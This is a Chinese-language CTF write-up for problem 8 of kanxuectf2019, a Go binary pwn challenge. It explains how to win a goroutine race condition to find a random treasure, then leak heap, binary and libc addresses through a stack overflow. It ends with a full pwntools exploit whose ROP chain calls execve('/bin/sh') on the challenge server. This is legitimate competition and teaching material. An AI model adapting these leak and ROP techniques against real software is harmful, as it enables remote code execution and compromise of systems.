-
-
[原创]kanxuectf2019 第八题
-
2019-3-20 16:52 2826
-
go语言的pwn
注:由于我本地使用的时kali2.0,调试时无法加载其官方给的libc(2.27)。因此,调试界面相关信息可能与实际环境不符,一切以最终exp所示偏移为主。
首先逆向,我使用golang_loader_assist对程序符号进行恢复。具体使用方法可以参考如下链接:
程序大体流程框架如下所示:
其中main_Game为主体功能函数。
首先,程序模拟实现了一个埋有宝藏的地图(main_randtreasure)
宝藏点为:(0,5),(5,0),(5,5),(random_x,random_y),且random_x,random_y不能等于当前坐标cur_x,cur_y
然后程序会新启一个线程(通过runtime_newproc),用来对用户当前游戏进程进行监控,如果当前用户已经走到埋有随机宝藏(random_x,random_y)的周围,则会重新计算新的宝藏点。
新线程的实例函数如下:
而我们通过对游戏进行分析,只有当我们移动坐标找到了随机的宝藏时,才会触发一次栈溢出(ps:找到其他几个固定的宝藏也能溢出,但溢出的地方为程序map的一段空间,类似于tcache,貌似是go语言自己的内存管理机制)
因此,一个主要问题就是如何找到该随机宝藏。
通过查看go语言的相关文档,了解到go语言是通过goroutine来实现并发和并行。其中关于什么是并发,什么是并行,下面的图解释的很好
两个队列,一台机器,那么就是并发。
两个队列,两台机器,那么就是并行。
go语言可以通过
runtime.GOMAXPROCS()来设置当前最大并行的routinue数。对于下面的代码而言,如果不加设置(
runtime.GOMAXPROCS(2)),程序是不会强占式的输出(在同一个线程中),会等到另一个goroutine阻塞了,才会运行另一个goroutinue。
package main import ( "fmt" ) func loop(done chan bool) { for i := 0; i < 10; i++ { fmt.Print(i) } done <- true } func main() { done := make(chan bool) go loop(done) go loop(done) <-done <-done }
了解完go语言的这个特性后,我们就可以想办法来绕过了。如下图所示,我们注意到每当程序进行当前坐标检查时会调用time_sleep,runtime_chansend两个函数。如果当前坐标不在宝藏周围,调用sleep,让出执行权限。如果在宝藏周围,随机化宝藏后,调用chansend发生阻塞,会让出执行权限。因此,我们可以把这个问题看做时一个条件竞争的问题,要利用得到执行权限的这段时间去找到宝藏。
方法其实就是快速去遍历整个地图。
当得到正确的宝藏位置后,下面就可以进行栈溢出了。
由于程序开启了各项保护措施,我们首先需要进行地址泄露。
查看当前程序当前栈(其实准确点应该是goroutinue的栈),用户输入会被复制到0xc82023fd38区域,往下翻发现该区域内除了0xc82023fdf8保存有一个指针外(0xc82023fe38还有一个指针),截止返回地址前,没有任何其他可以利用的数据。而程序进行message输出是,就是以
0xc82023fdf8保存值作为指针进行输出,因此我们可以考虑覆盖该指针的的最后一位,让其指定到 0xc82023fd00~0xc82023fd20区域(程序默认输出0x30字节,所以只要在该范围内均可以),打印出go语言的heap地址。
ps:由于栈是不固定的,因此我们可能一次无法直接定位到想要的地址,我这里对数据进行处理,通过查找关键字符‘\xc8’两次,从而正确提取出地址。
得到go heap地址后,我们就要看看go heap中都有哪些内容可以被我们利用。通过不断搜索发现,当前泄露的heap地址&0xfffffffffffff000会指向一个类似于保存环境变量的地方,该地址+固定偏移(调试偏移为0xe0,真实环境为0x30)保存了一个程序段函数的地址。如下图所示:
通过泄露该地址,我们就可以得到程序段基址,然后通过got表得到libc,最终覆盖栈返回地址。
这里有一个问题:在本地调试时,我可以使用one_gadget,system(‘/bin/sh’)。但远程这两个都会到时程序崩溃。最后没有办法构造rop,利用syscall拿到shell。
exp:
from pwn import * from ctypes import * import os #import roputils as rop remote_addr = "211.159.175.39" remote_port = 8787 local_addr = "127.0.0.1" local_port = 1807 pc = "./trepwn" pwn_elf = ELF(pc) pwn_rop = rop.ROP(pc) uselibc = 2 #0 for no,1 for i386,2 for x64 local = 0 haslibc = 1 atta = 0 if uselibc == 2: context.arch = "amd64" else: context.arch = "i386" if uselibc ==2 and haslibc == 0: libc = ELF("/lib/x86_64-linux-gnu/libc-2.28.so") else: if uselibc == 1 and haslibc == 0: libc = ELF('/lib/i386-linux-gnu/libc-2.28.so') else: libc = ELF('./libc.so.6') if local == 1: if haslibc: p = process(pc,env={'LD_PRELOAD':'./libc.so.6'}) else: p = process(pc) elif local == 0: p = remote(remote_addr,remote_port) if haslibc: libc = ELF('./libc.so.6') else: p = remote(local_addr,local_port) if haslibc: libc = ELF('./libc.so.6') context.log_level = True if local: if atta: #gdb.attach(p,'b *0xd86+0x555555554000\n b*0x55555562c50f\n b*0xd7df9+0x555555554000') gdb.attach(p,'b*0xd7947+0x555555554000\n b *0x00000000000D797B+0x555555554000') def sla(a,b): p.sendlineafter(a,b) def sa(a,b): p.sendafter(a,b) def ru(a): return p.recvuntil(a) def rl(): return p.recvline() def rv(a): return p.recv(a) def sn(a): p.send(a) def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def touch_vul(loc,payload): move_str = ('d'*5 + 'w' + 'a'*5 + 'w')*3 move_str = move_str[:-1] move_str += ('d'*5 + 's' + 'a'*5 + 's')*3 move_str = move_str[:-1] move_str *= 3 ''' move_str += ('d'*5 + 'w' + 'a'*5 + 'w')*3 move_str = move_str[:-1] ''' idx = loc while True: idx = (idx+1)%len(move_str) move = move_str[idx] sla('>>',move) if rv(4) == 'Your': continue else: recv_data = rl() if 'Treasure 4' in recv_data: #payload = 'a'*0xc0 + addr sla('message >> ',payload) return idx #p.interactive() else: sla('message >> ','aa') def remote_touch(x,y,payload): if x !=0: sla('>>','a') sla('>>','d') else: sla('>>','d') sla('>>','a') sla('message >> ',payload) #print 'test' def hack(): #raw_input() addr = 0x417b40 + 0x0000555555554000 sla('name :\n','a') loc = touch_vul(-1,'\x00'*0xc0 + '\x18') ru('message: ') data = rv(30) special_addr = 0 for i in range(len(data)): if data[i] == '\xc8': if special_addr == 0: special_addr = u64(data[i-4:i+1].ljust(8,'\x00')) else: if special_addr == u64(data[i-4:i+1].ljust(8,'\x00')): print 'yes' #remote special_addr = (special_addr & 0xfffffffffffff000) + 0x30 #local #special_addr = (special_addr & 0xfffffffffffff000) + 0xe0 lg('special_addr',special_addr) ru('Coordinates: (') coordinate = rv(4).split(',') x = int(coordinate[0]) y = int(coordinate[1]) print x,y payload = '\x00'*0xc0 + p64(special_addr) remote_touch(x,y,payload) #loc = touch_vul(loc,payload) ru('Your message: ') image_addr = u64(rv(6).ljust(8,'\x00')) - 0x0000000000121EC0 lg('image_addr',image_addr) ru('Coordinates: (') coordinate = rv(4).split(',') x = int(coordinate[0]) y = int(coordinate[1]) print x,y libc_start_main_got = image_addr + pwn_elf.got['__libc_start_main'] payload = '\x00'*0xc0 + p64(libc_start_main_got) main_addr = image_addr + 0xd8440 remote_touch(x,y,payload) #loc = touch_vul(loc,payload) ru('Your message: ') libc.address = u64(rv(6).ljust(8,'\x00')) - 0x21ab0 #libc.address = u64(rv(6).ljust(8,'\x00')) - libc.symbols['__libc_start_main'] lg('libc',libc.address) one_gadget = libc.address + 0x4f322 one_gadget = libc.address + 0x10a38c system_addr = libc.address + 0x000000000004F440 puts_addr = libc.address + 0x00000000000809C0 lg('system',system_addr) ru('Coordinates: (') coordinate = rv(4).split(',') x = int(coordinate[0]) y = int(coordinate[1]) print x,y #bin_sh = libc.address + 0x00000000001B3E9A bin_sh = libc.search('/bin/sh\0').next() system_addr = libc.symbols['system'] puts_addr = libc.symbols['puts'] pop_rdi_ret = image_addr + 0x000000000010a4dd pop_rsi_ret = image_addr + 0x000000000011422e pop_rax_ret = image_addr + 0x0000000000003900 pop_rdx_ret = image_addr + 0x0000000000171b62 syscall_ret = image_addr + 0x000000000012e8a9 payload = '\x00'*0xc0 + p64(libc_start_main_got) + p64(0x30) + p64(0x30) + p64(0)*9 + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall_ret) #+ p64(main_addr) remote_touch(x,y,payload) #loc = touch_vul(loc,payload) p.interactive() hack()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
他的文章
看原图